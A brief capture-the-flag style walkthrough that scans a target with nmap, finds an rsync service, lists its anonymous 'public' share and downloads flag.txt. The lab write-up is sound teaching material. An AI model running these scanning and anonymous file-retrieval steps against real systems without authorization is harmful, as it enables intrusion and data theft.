Port scan first, exchange ip with your machines IP address.
sudo nmap -sV ip
Relevant output:
PORT STATE SERVICE VERSION 873/tcp open rsync (protocol version 31)
We will try to connect via rsync without any login:
rsync --list-only ip::
Output:
public Anonymous Share
Let's have a look into the public share:
rsync --list-only ip::public
Output:
drwxr-xr-x 4,096 2022/10/24 18:02:23 . -rw-r--r-- 33 2022/10/24 17:32:03 flag.txt
Let's download the file flag.txt to our local machine:
rsync ip::public/flag.txt flag.txt
There won't be any output, but the file should be downloaded and available:
cat flag.txt